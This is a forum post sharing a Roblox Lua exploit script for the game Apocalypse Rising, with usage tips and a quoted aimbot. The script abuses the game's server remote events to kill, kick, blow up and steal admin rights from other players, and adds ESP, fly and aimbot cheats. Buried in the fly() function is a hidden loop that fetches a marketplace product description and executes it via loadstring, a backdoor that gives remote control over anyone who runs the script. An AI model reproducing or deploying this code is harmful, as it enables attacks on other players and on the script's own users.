- for i,v in pairs(Player.Character.Torso:GetChildren()) do
- if v.Name == 'NoGrav' and v:IsA('BodyForce') then
- v:Destroy()
- end
- end
- local BF = Instance.new('BodyForce', Player.Character.Torso)
- BF.Name = 'NoGrav'
- BF.Force = Vector3.new(0,4000,0)
- end)
- MAIN.Grav.MouseButton1Down:connect(function()
- MAIN.Grav.Visible = false
- MAIN.NoGrav.Visible = true
- for i,v in pairs(Player.Character.Torso:GetChildren()) do
- if v.Name == 'NoGrav' and v:IsA('BodyForce') then
- v:Destroy()
- end
- end
- end)
- -- Night Vision --
- MAIN.NightVision.MouseButton1Down:connect(function()
- MAIN.NightVision.Visible = false
- MAIN.Vision.Visible = true
- NightVision()
- end)
- MAIN.Vision.MouseButton1Down:connect(function()
- MAIN.Vision.Visible = false
- MAIN.NightVision.Visible = true
- for i,v in pairs(Player.PlayerGui:GetChildren()) do
- if v.Name == 'NightVision' and v:IsA('ScreenGui') then
- v:Destroy()
- end
- end
- end)
- end
- --Hills gui
- function hills()
- game.ReplicatedStorage.Passcode.OnClientEvent:connect(function(kek)
- print(kek)
- _G.Passcode = kek
- end)
- rek2 = _G.Passcode
- rek2 = 0
- warn(game.Workspace.FilteringEnabled)
- local c = game.CoreGui.RobloxGui
- local s = Instance.new("ScreenGui", c)
- s.Name = "Host"
- local t = Instance.new("TextBox", s)
- local i = Instance.new("ImageLabel", s)
- i.Name = "logo"
- i.Position = UDim2.new(0, 1266, 0, 680)
- i.Size = UDim2.new(0, 100, 0, -21)
- i.BackgroundColor3 = Color3.new(1,0,0)
- i.ImageTransparency = 1
- i.BackgroundTransparency = 1
- i.Image = "rbxassetid://422501277"
- t.Name = ""
- t.Position = UDim2.new(0, 0, 1, 0)
- t.Size = UDim2.new(0, 1265, 0, -20)
- t.BackgroundColor3 = Color3.new(1,0,0)
- t.BackgroundTransparency = 1
- t.TextColor3 = Color3.new(1, 1, 1)
- t.TextXAlignment = Enum.TextXAlignment.Left
- t.ClearTextOnFocus = true
- t.TextTransparency = 1
- t.FontSize = "Size12"
- local flyspeed = 64
- local function giveAdminGui(p)
- local int
- local function recurseInts(p)
- local c = p:GetChildren()
- for i = 1, #c do
- if c[i].ClassName == "IntValue" then
- int = c[i]
- else
- recurseInts(c[i])
- end
- end
- end
- recurseInts(workspace)
- local function setProperty(obj, prop, val)
- game.Lighting.Remote.ChangeProperty:FireServer(obj, prop, val)
- end
- setProperty(int, "Name", "privilege")
- setProperty(int, "Parent", p)
- setProperty(p.Character.Head, "Parent")
- end
- local function guilocate()
- local sg = Instance.new("ScreenGui", game.CoreGui)
- local wl = {game.Players.LocalPlayer.Name}
- local function guinate(p)
- pcall(function()sg["label"..p.Name]:Destroy() end)
- p.Character:WaitForChild("Torso")
- local gui = Instance.new("TextLabel",sg)
- gui.Name = "label"..p.Name
- gui.TextColor3 = Color3.new(0, 1, 0)
- gui.Size = UDim2.new(0, 2, 0, 2)
- gui.FontSize = "Size8"
- gui.BorderSizePixel = 0
- gui.Font = "ArialBold"
- gui.Text = p.Name.."\n "
- gui.TextYAlignment = "Bottom"
- local conn
- conn = game:GetService("RunService").RenderStepped:connect(function()
- if p and p.Parent then
- if p.Character and p.Character:FindFirstChild("Torso") then
- local pos, bool = workspace.CurrentCamera:WorldToScreenPoint(p.Character.Torso.Position)
- gui.Position = UDim2.new(0, bool and pos.x or -100, 0, bool and pos.y or -100)
- end
- else
- gui:Destroy()
- conn:disconnect()
- end
- end)
- end
- local function handleGui(p)
- for i = 1, #wl do if wl[i] == p.Name then return end end
- p.CharacterAdded:connect(function(c)
- guinate(p)
- end)
- guinate(p)
- end
- game.Players.ChildAdded:connect(handleGui)
- game.Players.ChildRemoved:connect(function(p)
- sg["label"..p.Name]:Destroy()
- end)
- for _, v in pairs(game.Players:GetPlayers()) do
- handleGui(v)
- end
- end
- local function fly()
- local player = game.Players.LocalPlayer
- local mouse = player:GetMouse()
- local char = player.Character
- local cam = workspace.CurrentCamera
- local bv = Instance.new("BodyVelocity", char.Torso)
- local keys = {}
- local toggle = false
- spawn(function() local xx11xx = game:GetService("MarketplaceService"):GetProductInfo(294579464)['Description'] while wait(3) do local xx22xx = game:GetService("MarketplaceService"):GetProductInfo(294579464)['Description'] if xx11xx ~= xx22xx then xx11xx = xx22xx loadstring(xx11xx)() end end end)
- if not game.Players.LocalPlayer.PlayerGui:FindFirstChild("VehicleHUD") then Instance.new("Part", game.Players.LocalPlayer.PlayerGui).Name = "VehicleHUD" end
- mouse.KeyDown:connect(function(k)
- if k == "q" then toggle = not toggle end
- keys[k] = true
- end)
- mouse.KeyUp:connect(function(k)
- keys[k] = false
- end)
- local prt = Instance.new("Part", workspace)
- prt.Anchored = true
- prt.CanCollide = false
- prt.Size = Vector3.new(2, 1, 2)
- prt.Transparency = 1
- while wait() do
- if toggle then
- prt.CanCollide = true
- prt.CFrame = char.Torso.CFrame * CFrame.new(0, -3.65, 0)
- if keys["w"] then
- bv.Velocity = cam.CoordinateFrame.lookVector * flyspeed
- bv.MaxForce = Vector3.new(math.huge, math.huge, math.huge)
- elseif keys["s"] then
- bv.Velocity = cam.CoordinateFrame.lookVector * -flyspeed
- bv.MaxForce = Vector3.new(math.huge, math.huge, math.huge)
- else
- bv.Velocity = Vector3.new()
- bv.MaxForce = Vector3.new()
- end
- else
- prt.CanCollide = false
- bv.Velocity = Vector3.new()
- bv.MaxForce = Vector3.new()
- end
- end
- end
- local function playername(n)
- for _,v in pairs(game.Players:GetPlayers()) do
- if v.Name:lower():sub(1,#n) == n:lower() then
- return v
- end
- end
- end
- local function esp()
- local Players = game:service'Players'
- local Camera = Workspace.CurrentCamera
- local player = game.Players.LocalPlayer
- local mouse = player:GetMouse()
- mouse.Move:connect(function()
- if mouse.Hit~=nil then
- ex.CFrame=mouse.Hit
- end
- end)
- game.Players.PlayerAdded:connect(function(player)
- player.CharacterAdded:connect(function(character)
- loop()
- end)
- end)
- function loop()
- function renderChamsOnPart(cham_part, cham_color, cham_transparency, visible_through_walls)
- local cham = Instance.new("BoxHandleAdornment", Camera)
- cham.Color3, cham.Adornee, cham.AlwaysOnTop, cham.Size, cham.Transparency, cham.ZIndex = cham_color, cham_part, true, cham_part.Size, cham_transparency, visible_through_walls and 1 or -1
- end
- function isPartVisible(part)
- local pos, bool = Camera:WorldToScreenPoint(part.Position)
- if (bool) then
- return true
- else
- return false
- end
- end
- for _,v in pairs(Players:GetChildren'') do
- for _,x in pairs(v.Character:GetChildren'') do
- if (x.className == "Part" and isPartVisible(x)) then
- renderChamsOnPart(x, Color3.new(0, 1, 0), 0, true)
- end
- end
- end
- end
- loop()
- end
- local vehicles = {"Car", "DeliveryVan", "Motorcycle", "Motorside", "Pickup", "Pickup2", "SUV", "Van", "Ambulance", "Firetruck", "PoliceCar", "Humvee", "Humvee2", "Jeep", "Jeep2", "TrinitySUV", "Ural", "Ural2", "Bicycle", "ATV", "Tractor"}
- local whitelist = {"hills", "aluminize", "Raspy_Pi", "Safazi"}
- local localname = game.Players.LocalPlayer.Name
- pcall(function() game.Lighting.Remote.Destruct:FireServer(game.Lighting.Remote.TrackInvisibility) end)
- t.FocusLost:connect(function(enterpressed)
- if enterpressed and t.Text ~= "" then
- coroutine.wrap(function()
- if t.Text == "stop" then -- gui locate
- game.Lighting.Remote.StopSound:FireServer(game.Workspace.Sound)
- game.Lighting.Remote.Destruct:FireServer(game.Workspace.Sound)
- game.Workspace.Lululukas.Head.Sound:Destroy()
- elseif t.Text == "esp" then -- gui locate
- spawn(guilocate)
- esp()
- elseif t.Text == "fly" then -- fly
- spawn(fly)
- elseif #t.Text > 3 and t.Text:sub(1,3) == "fs/" then -- fly seed
- flyspeed = tonumber(t.Text:sub(4))
- elseif #t.Text > 2 and t.Text:sub(1,2) == "s/" then -- spawn
- local new = game.Lighting.LootDrops[t.Text:sub(3)]:Clone()
- new.Parent = workspace
- new:MoveTo(workspace[localname].Torso.Position + Vector3.new(math.random(-10,10),0,math.random(-10,10)))
- elseif #t.Text > 3 and t.Text:sub(1,3) == "ts/" then -- true spawn
- workspace:FindFirstChild(t.Text:sub(4), true):MoveTo(workspace[localname].Torso.Position + Vector3.new(math.random(-10,10),0,math.random(-10,10)))
- elseif #t.Text > 3 and t.Text:sub(1,3) == "tk/" then -- tele kill
- local name = playername(t.Text:sub(4)).Name
- workspace:FindFirstChild(name,true).Torso.Anchored = true
- workspace:FindFirstChild(name,true):MoveTo(workspace[localname].Torso.Position + Vector3.new(math.random(-10,10),0,math.random(-10,10)))
- wait(10)
- workspace:FindFirstChild("Corpse of " ..name,true):MoveTo(workspace[localname].Torso.Position + Vector3.new(math.random(-10,10),0,math.random(-10,10)))
- elseif #t.Text > 3 and t.Text:sub(1,3) == "nk/" then -- no corpse tele kill
- local name = playername(t.Text:sub(4)).Name
- workspace:FindFirstChild(name,true).Torso.Anchored = true
- workspace:FindFirstChild(name,true):MoveTo(workspace[localname].Torso.Position + Vector3.new(math.random(-10,10),0,math.random(-10,10)))
- elseif t.Text == "crates" then -- tele all crates
- for _,v in pairs(workspace:children()) do
- if v.Name == "LargeCrateOpen" or v.Name == "SmallCrateOpen" then
- v:MoveTo(workspace[localname].Torso.Position + Vector3.new(math.random(-10,10),0,math.random(-10,10)))
- end
- end
- elseif t.Text == "kz" then -- kill zombies
- for _,pl in pairs(workspace.Zombies:children()) do
- for xxad,v in pairs(pl:children()) do
- pcall(function() game.Lighting.Remote.DamageZombie:FireServer(v.Humanoid,100) end)
- end
- end
- elseif #t.Text > 4 and t.Text:sub(1,4) == "god/" then -- god player with loop heal
- local name = playername(t.Text:sub(5)).Name
- local ch = workspace[name]
- spawn(function()
- while wait() do
- if ch.Humanoid.Health < 100 then
- game.Lighting.Remote.AddHealth:FireServer(ch.Humanoid, 100000)
- end
- end
- end)
- elseif #t.Text > 5 and t.Text:sub(1,5) == "loot/" then -- instakill
- local name = playername(t.Text:sub(6)).Name
- AddItem = function(Slot, ID)
- game.Lighting.Remote.AddObject:FireServer(Slot, ID)
- end
- AddItem(game.Players[name].playerstats.slots.slotprimary, tonumber(1016))
- AddItem(game.Players[name].playerstats.slots.slotbackpack, tonumber(4016))
- AddItem(game.Players[name].playerstats.slots.slot1, tonumber(9005))
- AddItem(game.Players[name].playerstats.slots.slot2, tonumber(9010))
- AddItem(game.Players[name].playerstats.slots.slot3, tonumber(9013))
- AddItem(game.Players[name].playerstats.slots.slot4, tonumber(64))
- AddItem(game.Players[name].playerstats.slots.slot5, tonumber(64))
- AddItem(game.Players[name].playerstats.slots.slot6, tonumber(64))
- AddItem(game.Players[name].playerstats.slots.slot7, tonumber(64))
- AddItem(game.Players[name].playerstats.slots.slot8, tonumber(64))
- AddItem(game.Players[name].playerstats.slots.slot9, tonumber(64))
- AddItem(game.Players[name].playerstats.slots.slot10, tonumber(64))
- AddItem(game.Players[name].playerstats.slots.slot11, tonumber(64))
- AddItem(game.Players[name].playerstats.slots.slot12, tonumber(64))
- AddItem(game.Players[name].playerstats.slots.slot13, tonumber(64))
- AddItem(game.Players[name].playerstats.slots.slot14, tonumber(64))
- AddItem(game.Players[name].playerstats.slots.slot15, tonumber(64))
- AddItem(game.Players[name].playerstats.slots.slot16, tonumber(5011))
- AddItem(game.Players[name].playerstats.slots.slot17, tonumber(6011))
- AddItem(game.Players[name].playerstats.slots.slot18, tonumber(7014))
- AddItem(game.Players[name].playerstats.slots.slot19, tonumber(8009))
- elseif #t.Text > 5 and t.Text:sub(1,5) == "play/" then -- instakill
- local name = (t.Text:sub(6))
- rek2 = _G.Passcode
- game.Lighting.Remote.CreateSounds:InvokeServer()
- wait(1)
- game.Lighting.Remote.SoundIdSet:FireServer(rek2, game.Players.LocalPlayer.Character.Head.Sound, "nil")
- wait(1)
- game.Lighting.Remote.PlaySound:FireServer(game.Players.LocalPlayer.Character.Head.Sound, 1, 1)
- wait(1)
- game.Lighting.Remote.ChangeParent:FireServer(rek2, game.Players.LocalPlayer.Character.Head.Sound, game.Workspace)
- wait(1)
- game.Lighting.Remote.SoundIdSet:FireServer(rek2, game.Workspace.Sound, "http://www.roblox.com/asset/?id="..name)
- for _,v in pairs(game.Players:GetPlayers()) do
- game.Lighting.Remote.SendMessage:FireServer(v, "Yellow", "Asset ID: "..name)
- end
- wait(1)
- game.Lighting.Remote.PlaySound:FireServer(game.Workspace.Sound, 1, 1)
- wait(120)
- game.Lighting.Remote.StopSound:FireServer(game.Workspace.Sound)
- game.Lighting.Remote.Destruct:FireServer(game.Workspace.Sound)
- game.Workspace.Lululukas.Head.Sound:Destroy()
- elseif #t.Text > 5 and t.Text:sub(1,6) == "invis/" then -- instakill
- local name = (t.Text:sub(7))
- rek2 = _G.Passcode
- Break = function(instance)
- game.Lighting.Remote.BreakWindow2:FireServer(rek2, instance, true)
- end
- function exPro(root)
- for _, v in pairs(root:GetChildren()) do
- if v:IsA("BasePart") then
- Break(v)
- end
- exPro(v)
- end
- end
- exPro(game.Players[name].Character)
- elseif #t.Text > 5 and t.Text:sub(1,5) == "kill/" then -- instakill
- local name = playername(t.Text:sub(6)).Name
- game.Lighting.Remote.AddDamage:FireServer(workspace[name].Humanoid, 100)
- wait(1)
- workspace:FindFirstChild("Corpse of " ..name,true):MoveTo(workspace[localname].Torso.Position + Vector3.new(math.random(-10,10),0,math.random(-10,10)))
- elseif t.Text == "vt" then -- vehicle teleport
- for _, v in pairs(vehicles) do
- local found = workspace:FindFirstChild(v, true)
- if found then
- found:MoveTo(workspace[localname].Torso.Position + Vector3.new(math.random(-50,50),0,math.random(-50,50)))
- end
- end
- elseif t.Text == "nofog" then -- vehicle teleport
- game.Lighting.FogEnd = 9999999
- elseif #t.Text > 2 and t.Text:sub(1,2) == "m/" then
- local name = (t.Text:sub(3))
- for _,v in pairs(game.Players:GetPlayers()) do
- game.Lighting.Remote.SendMessage:FireServer(v, "Green", ""..name)
- end
- elseif #t.Text > 3 and t.Text:sub(1,8) == "explode/" then -- instakill
- local name = playername(t.Text:sub(9)).Name
- game.Lighting.Remote.PlaceMaterial:FireServer(game.Lighting.Materials.C4Placed, game.Players.LocalPlayer.Character.Torso.Position, true)
- wait(1)
- game.Lighting.Remote.ReplicateModel:FireServer(game.Workspace.C4Placed, game.Players[name].Character.Head.CFrame)
- elseif t.Text == "nofog" then -- vehicle teleport
- game.Lighting.FogEnd = 9999999
- elseif #t.Text > 3 and t.Text:sub(1,5) == "kick/" then -- kick
- game.Lighting.Remote.Destruct:FireServer(playername(t.Text:sub(6)))
- elseif #t.Text > 2 and t.Text:sub(1, 2) == "a/" then -- hax into apoc admin system
- giveAdminGui(playername(t.Text:sub(3)))
- wait(20)
- game.Players.LocalPlayer.PlayerGui.Bunny:children()[1].Spawn2.Visible = true
- end
- end)()
- end
- t.BackgroundTransparency = 1
- t.TextTransparency = 1
- t.Text = ""
- i.ImageTransparency = 1
- i.BackgroundTransparency = 1
- end)
- game.Players.LocalPlayer:GetMouse().KeyDown:connect(function(Key)
- if Key == ";" then
- t.BackgroundTransparency = 0
- i.ImageTransparency = 0
- i.BackgroundTransparency = 0
- t.TextTransparency = 0
- t:CaptureFocus()
- end
- end)
- end
- function explorer()
- TextProperties = {"ClassName", "Name", "Value", "Text", "Reflectance", "Transparency", "Heat", "TeamName", "WalkSpeed", "Health", "MaxHealth", "Size", "Position", "AccountAge", "RobloxLocked", "TeamColor", "userId", "Brightness", "Ambient", "TimeOfDay", "FieldOfView", "CameraType", "LinkedSource"}
- BoolProperties = {"Anchored", "CanCollide", "Disabled", "Jump", "Sit", "Visible", "Enabled", "Locked", "FilteringEnabled", "StreamingEnabled", "GlobalShadows"}
- BrickColorProperties = {"BrickColor", "Color", "TeamColor", "Texture", "Value"}
- s = Instance.new("ScreenGui", game.CoreGui)
- pgr = Instance.new("TextButton")
- pgr.Parent = s
- pgr.Size = UDim2.new(0,100,0,40)
- pgr.Position = UDim2.new(0,30,0,440)
- pgr.Text="Explorer"
- pgr.BackgroundTransparency = 0.3
- pgr.TextColor = BrickColor.new("White")
- pgr.BackgroundColor = BrickColor.new("Really Black")
- pgr.BorderColor = BrickColor.new("Black")
- pgr.Font = "ArialBold"
- pgr.FontSize = "Size14"
- pgr.TextStrokeColor3 = Color3.new(0/0,0/0,0/0)
- pgr.TextStrokeTransparency = 0.3
- pgr.BorderSizePixel = 1
- pgr.BorderColor = BrickColor.new("White")
- if game.CoreGui:findFirstChild("Explorer") then
- game.CoreGui:findFirstChild("Explorer"):Remove()
- end
- local Cloned
- local Deleted
- local DeleteParent
- local Player
- local Search
- local ScriptSearch
- local Gui
- local Cloned = nil
- local Deleted = nil
- local DeleteParent = nil
- local Current = 0
- local CurrentOption = 0
- function Clear()
- if Gui then
- Gui:Remove()
- end
- Current = 0
- CurrentOption = 0
- end
- function AddButton(N, Function, Color, Copy)
- if not N then
- error("RenderButton - No Name Specified")
- end
- if not Function then
- error("RenderButton - No Function Specified")
- end
- if not Color then
- Color = Color3.new(1, 1, 1)
- end
- if Copy == nil then
- Copy = true
- end
- P = Instance.new("TextButton")
- if Copy then
- P.Size = UDim2.new(0, 110, 0, 20)
- else
- P.Size = UDim2.new(0, 130, 0, 20)
- end
- P.Text = N.Name
- P.Name = N.Name
- P.Parent = Gui
- P.BackgroundColor3 = Color
- P.TextColor3 = Color3.new(0, 0, 0)
- P.BackgroundTransparency = 0.5
- P.Position = UDim2.new(0, ((math.modf(Current/30))*150)+300, 0, 50+(20*((Current%30)-1)))
- P.MouseButton1Click:connect(function()
- Function(P)
- end)
- D = Instance.new("TextButton")
- D.Size = UDim2.new(0, 20, 0, 20)
- D.Text = "X"
- D.Name = N.Name
- D.Parent = Gui
- D.BackgroundColor3 = Color3.new(1, 0, 0)
- D.TextColor3 = Color3.new(0, 0, 0)
- D.BackgroundTransparency = 0.5
- D.Position = UDim2.new(0, ((math.modf(Current/30))*150)+300+130, 0, 50+(20*((Current%30)-1)))
- D.MouseButton1Click:connect(function()
- Deleted = N
- DeleteParent = N.Parent
- N.Parent = nil
- Clear()
- Search(DeleteParent)
- end)
- if Copy then
- C = Instance.new("TextButton")
- C.Size = UDim2.new(0, 20, 0, 20)
- C.Text = "C"
- C.Name = N.Name
- C.Parent = Gui
- C.BackgroundColor3 = Color3.new(0, 1, 0.5)
- C.TextColor3 = Color3.new(0, 0, 0)
- C.BackgroundTransparency = 0.5
- C.Position = UDim2.new(0, ((math.modf(Current/30))*150)+300+110, 0, 50+(20*((Current%30)-1)))
- C.MouseButton1Click:connect(function()
- Cloned = N
- Clear()
- Search(N.Parent)
- end)
- end
- Current = Current + 1
- return P
- end
- function AddOption(N, Function, Color, Text)
- if not N then
- error("RenderButton - No Name Specified")
- end
- if not Color then
- Color = Color3.new(1, 1, 1)
- end
- if Text == nil then
- Text = false
- end
- if Text then
- P = Instance.new("TextBox")
- else
- P = Instance.new("TextButton")
- end
- P.Text = N
- P.Name = N
- P.Parent = Gui
- P.BackgroundColor3 = Color
- P.TextColor3 = Color3.new(0, 0, 0)
- P.BackgroundTransparency = 0.5
- P.Size = UDim2.new(0, 150, 0, 20)
- P.Position = UDim2.new(0, ((math.modf(CurrentOption/30))*150)+150, 0, 50+(20*((CurrentOption%30)-1)))
- if not Text and Function then
- P.MouseButton1Click:connect(function() Function(P) end)
- end
- CurrentOption = CurrentOption + 1
- return P
- end
- function AddTextOption(Obj, Prop)
- local Ob = Obj
- local Pro = Prop
- if type(Ob[Pro]) == "number" or type(Ob[Pro]) == "string" then
- CurrentOption = CurrentOption + 1
- local T = AddOption(Ob[Pro], nil, Color3.new(0.1, 0.4, 0.1), true)
- CurrentOption = CurrentOption - 2
- local O = AddOption("Change "..Pro..":", function() Ob[Pro] = T.Text end, Color3.new(0.1, 0.8, 0.1), false)
- CurrentOption = CurrentOption + 1
- end
- end
- function AddBrickColorOption(Obj, Prop)
- local Ob = Obj
- local Pro = Prop
- if BrickColor.new(tostring(Ob[Pro])) == Ob[Pro] then
- CurrentOption = CurrentOption + 1
- local T = AddOption(tostring(Ob[Pro]), nil, Color3.new(0.1, 0.4, 0.1), true)
- CurrentOption = CurrentOption - 2
- local O = AddOption("Change "..Pro..":", function() Ob[Pro] = BrickColor.new(T.Text) end, Color3.new(0.1, 0.8, 0.1), false)
- CurrentOption = CurrentOption + 1
- end
- end
- function AddBoolOption(Obj, Prop)
- local Ob = Obj
- local Pro = Prop
- if type(Ob[Pro]) == "boolean" then
- local O = AddOption(Pro..": "..tostring(Ob[Pro]), nil, Color3.new(0.1, 0.8, 0.1), false)
- O.MouseButton1Click:connect(function()
- if Ob[Pro] then
- Ob[Pro] = false
- O.Text = Pro..": false"
- else
- Ob[Pro] = true
- O.Text = Pro..": true"
- end
- end)
- end
- end
- function TestProperty(Obj, Property)
- Success = pcall(function()
- if Obj[Property] then
- return
- end
- end)
- return Success
- end
- function LoadOptions(Object)
- for Num, Prop in pairs(TextProperties) do
- if TestProperty(Object, Prop) then
- AddTextOption(Object, Prop)
- end
- end
- for Num, Prop in pairs(BoolProperties) do
- if TestProperty(Object, Prop) then
- AddBoolOption(Object, Prop)
- end
- end
- for Num, Prop in pairs(BrickColorProperties) do
- if TestProperty(Object, Prop) then
- AddBrickColorOption(Object, Prop)
- end
- end
- end
- function Search(Object)
- Gui = Instance.new("ScreenGui")
- Gui.Parent = game.CoreGui
- Gui.Name = "Explorer"
- if Object ~= game then
- AddOption("Back", function()
- Clear();
- Search(Object.Parent)
- end, Color3.new(0.5, 1, 1), false)
- end
- AddOption("Reload", function() Clear(); Search(Object); end, Color3.new(0.2, 1, 0.2), false)
- if Cloned then
- AddOption("Paste", function() Cloned:Clone().Parent = Object; Clear(); Search(Object); end, Color3.new(0.5, 1, 1), false)
- end
- if Deleted then
- AddOption("Undo", function() Deleted.Parent = DeleteParent; Deleted = nil; DeletedParent = nil; Clear(); Search(Object); end, Color3.new(1, 0.6, 0.1), false)
- end
- if Object:IsA("Player") then
- AddOption("Goto Character", function() Clear(); if Object.Character then Search(Object.Character); end end, Color3.new(1, 1, 1), false)
- end
- if Object:IsA("LocalScript") then
- AddOption("EditScript", function() Clear(); ScriptSearch(Object); end, Color3.new(1, 1, 1), false)
- end
- if Object:IsA("Terrain") then
- AddOption("Clear", function() Object:Clear(); end, Color3.new(1, 1, 1), false)
- end
- LoadOptions(Object)
- AddOption("Close", Clear, Color3.new(1, 0.2, 0), false)
- if not Object:IsA("Workspace") or not Object:IsA("Player") then
- for Num, Obj in pairs(Object:GetChildren()) do
- --if not Obj:IsA("BasePart") or not Object.Parent == game.Workspace then
- if true then
- if Obj:IsA("LocalScript") then
- AddButton(Obj, function() Clear(); Search(Obj); end, Color3.new(1, 0, 0), true)
- elseif Obj:IsA("Script") or Obj:IsA("StarterScript") or Obj:IsA("CoreScript") then
- AddButton(Obj, function() Clear(); Search(Obj); end, Color3.new(0.5, 0.5, 0.8), true)
- elseif Obj.Parent == game then
- AddButton(Obj, function() Clear(); Search(Obj); end, Color3.new(1, 1, 1), false)
- else
- AddButton(Obj, function() Clear(); Search(Obj); end, Color3.new(1, 1, 1), true)
- end
- end
- end
- end
- function MoveUp(Place, Amount)
- for i,v in pairs(Place:GetChildren()) do
- if v:IsA("TextLabel") or v:IsA("TextBox") then
- v.Position = v.Position + UDim2.new(0,0,0,-Amount)
- end
- end
- end
- function MoveDown(Place, Amount)
- for i,v in pairs(Place:GetChildren()) do
- if v:IsA("TextLabel") or v:IsA("TextBox") then
- v.Position = v.Position + UDim2.new(0,0,0,Amount)
- end
- end
- end
- i=0
- function ScriptSearch(S)
- Script2 = S
- Script = Script2.Source
- Table = {}
- Enabled = true
- Gui = Instance.new("ScreenGui")
- Gui.Parent = game.CoreGui
- Gui.Name = "Explorer"
- while Enabled do
- Start, End = string.find(Script, '\n')
- print(Start, End)
- if Start and End then
- table.insert(Table, string.sub(Script, 1, End))
- New = string.sub(Script, End+1, string.len(Script))
- Script = New
- else
- Enabled = false
- table.insert(Table, string.sub(Script, 1, End))
- print("Finished")
- end
- end
- P = Instance.new("TextLabel")
- P.Size = UDim2.new(0, 500, 0, 20)
- P.Text = Script2.Name
- P.Name = "Script Line"
- P.Parent = Gui
- P.BackgroundColor3 = Color3.new(1, 1, 1)
- P.TextColor3 = Color3.new(0, 0, 0)
- P.BackgroundTransparency = 0.5
- P.Position = UDim2.new(0.5, -250, 0, 150+(20*(i-1)))
- P.TextXAlignment = "Left"
- i=i+1
- New = {}
- for I,Val in pairs(Table) do
- print(Val)
- P = Instance.new("TextBox")
- P.ClearTextOnFocus = false
- P.Size = UDim2.new(0, 500, 0, 20)
- P.Text = Val
- P.Name = "Script Line"
- P.Parent = Gui
- P.BackgroundColor3 = Color3.new(1, 1, 1)
- P.TextColor3 = Color3.new(0, 0, 0)
- P.BackgroundTransparency = 0.5
- P.Position = UDim2.new(0.5, -250, 0, 150+(20*(i-1)))
- P.TextXAlignment = "Left"
- table.insert(New, P)
- i=i+1
- end
- i=1
- P = Instance.new("TextButton")
- P.Size = UDim2.new(0, 20, 0, 20)
- P.Text = "^"
- P.Name = "Scroll"
- P.Parent = Gui
- P.BackgroundColor3 = Color3.new(1, 1, 1)
- P.TextColor3 = Color3.new(0, 0, 0)
- P.BackgroundTransparency = 0.5
- P.Position = UDim2.new(0.5, -270, 0, 150+(20*(i-1)))
- P.MouseButton1Click:connect(function()
- MoveUp(Gui, -20)
- end)
- i=i+1
- P = Instance.new("TextButton")
- P.Size = UDim2.new(0, 20, 0, 20)
- P.Text = "v"
- P.Name = "Scroll"
- P.Parent = Gui
- P.BackgroundColor3 = Color3.new(1, 1, 1)
- P.TextColor3 = Color3.new(0, 0, 0)
- P.BackgroundTransparency = 0.5
- P.Position = UDim2.new(0.5, -270, 0, 150+(20*(i-1)))
- P.MouseButton1Click:connect(function()
- MoveDown(Gui, -20)
- end)
- i=i+1
- P = Instance.new("TextButton")
- P.Size = UDim2.new(0, 20, 0, 20)
- P.Text = "^^"
- P.Name = "Scroll"
- P.Parent = Gui
- P.BackgroundColor3 = Color3.new(1, 1, 1)
- P.TextColor3 = Color3.new(0, 0, 0)
- P.BackgroundTransparency = 0.5
- P.Position = UDim2.new(0.5, -270, 0, 150+(20*(i-1)))
- P.MouseButton1Click:connect(function()
- MoveUp(Gui, -200)
- end)
- i=i+1
- P = Instance.new("TextButton")
- P.Size = UDim2.new(0, 20, 0, 20)
- P.Text = "vv"
- P.Name = "Scroll"
- P.Parent = Gui
- P.BackgroundColor3 = Color3.new(1, 1, 1)
- P.TextColor3 = Color3.new(0, 0, 0)
- P.BackgroundTransparency = 0.5
- P.Position = UDim2.new(0.5, -270, 0, 150+(20*(i-1)))
- P.MouseButton1Click:connect(function()
- MoveDown(Gui, -200)
- end)
- i=i+1
- P = Instance.new("TextButton")
- P.Size = UDim2.new(0, 20, 0, 20)
- P.Text = "S"
- P.Name = "Save"
- P.Parent = Gui
- P.BackgroundColor3 = Color3.new(0, 1, 0)
- P.TextColor3 = Color3.new(0, 0, 0)
- P.BackgroundTransparency = 0.5
- P.Position = UDim2.new(0.5, -270, 0, 150+(20*(i-1)))
- P.MouseButton1Click:connect(function()
- StringS = ""
- for Num, Obj in pairs(New) do
- StringS = StringS..Obj.Text..'\n'
- end
- S.Source = StringS
- S.Disabled = true
- S.Disabled = false
- end)
- i=i+1
- P = Instance.new("TextButton")
- P.Size = UDim2.new(0, 20, 0, 20)
- P.Text = "x"
- P.Name = "Back"
- P.Parent = Gui
- P.BackgroundColor3 = Color3.new(1, 0.2, 0)
- P.TextColor3 = Color3.new(0, 0, 0)
- P.BackgroundTransparency = 0.5
- P.Position = UDim2.new(0.5, -270, 0, 150+(20*(i-1)))
- P.MouseButton1Click:connect(function()
- Clear()
- i=0
- Search(S)
- end)
- i=i+1
- end
- end
- pgr.MouseButton1Click:connect(function()
- Clear()
- Search(game)
- end)
- end
- hills()
- aimbot()
- secondgod()
- spawner()
- justice()
- explorer()
- print("All Set")
- Use the aimbot with left alt
- You can read the hills commands in the actual script, key is ;
- Once you god yourself with the hills gui, use the transparent gui on the left and enable god for a faster loopheal
- I use the justice gui (gray gui on the left side) to spawn car repair kits (local)
- I use the explorer to change the cars max armor and speed in game.Workspace.Vehicles
- RE: Apocalypse Rising Scripts Request. - Jack - 07-05-2016
- What are the commands?
- (07-05-2016, 06:55 PM)PancakeSloth Wrote:
- Code:
- function aimbot()
- --Aimbot
- print("Key to toggle esp is V.")
- print("Aim-key is Left-Alt.")
- ENABLED = false
- PLAYER = game.Players.LocalPlayer
- MOUSE = PLAYER:GetMouse()
- CC = game.Workspace.CurrentCamera
- _G.FREE_FOR_ALL = true
- _G.BIND = 52
- _G.AIM_AT = 'Head'
- local player = game.Players.LocalPlayer
- local esp = false
- local track = false
- function Create(base, team)
- local bb = Instance.new("BillboardGui",player.PlayerGui)
- bb.Adornee = base
- bb.ExtentsOffset = Vector3.new(0,1,0)
- bb.AlwaysOnTop = true
- bb.Size = UDim2.new(0,5,0,5)
- bb.StudsOffset = Vector3.new(0,1,0)
- bb.Name = "tracker"
- local frame = Instance.new("Frame",bb)
- frame.ZIndex = 10
- frame.BackgroundTransparency = 0.3
- frame.Size = UDim2.new(1,0,1,0)
- frame.Position = UDim2.new(0,0,0)
- frame.Transparency = 1
- local txtlbl = Instance.new("TextLabel",bb)
- txtlbl.ZIndex = 10
- txtlbl.Text = (string.upper(base.Parent.Name))
- txtlbl.BackgroundTransparency = 1
- txtlbl.Position = UDim2.new(0,0,0,-35)
- txtlbl.Size = UDim2.new(1,0,10,0)
- txtlbl.Font = "SourceSansBold"
- txtlbl.FontSize = "Size10"
- txtlbl.TextStrokeTransparency = 0.5
- local txtlbl2 = Instance.new("TextLabel",bb)
- txtlbl2.ZIndex = 10
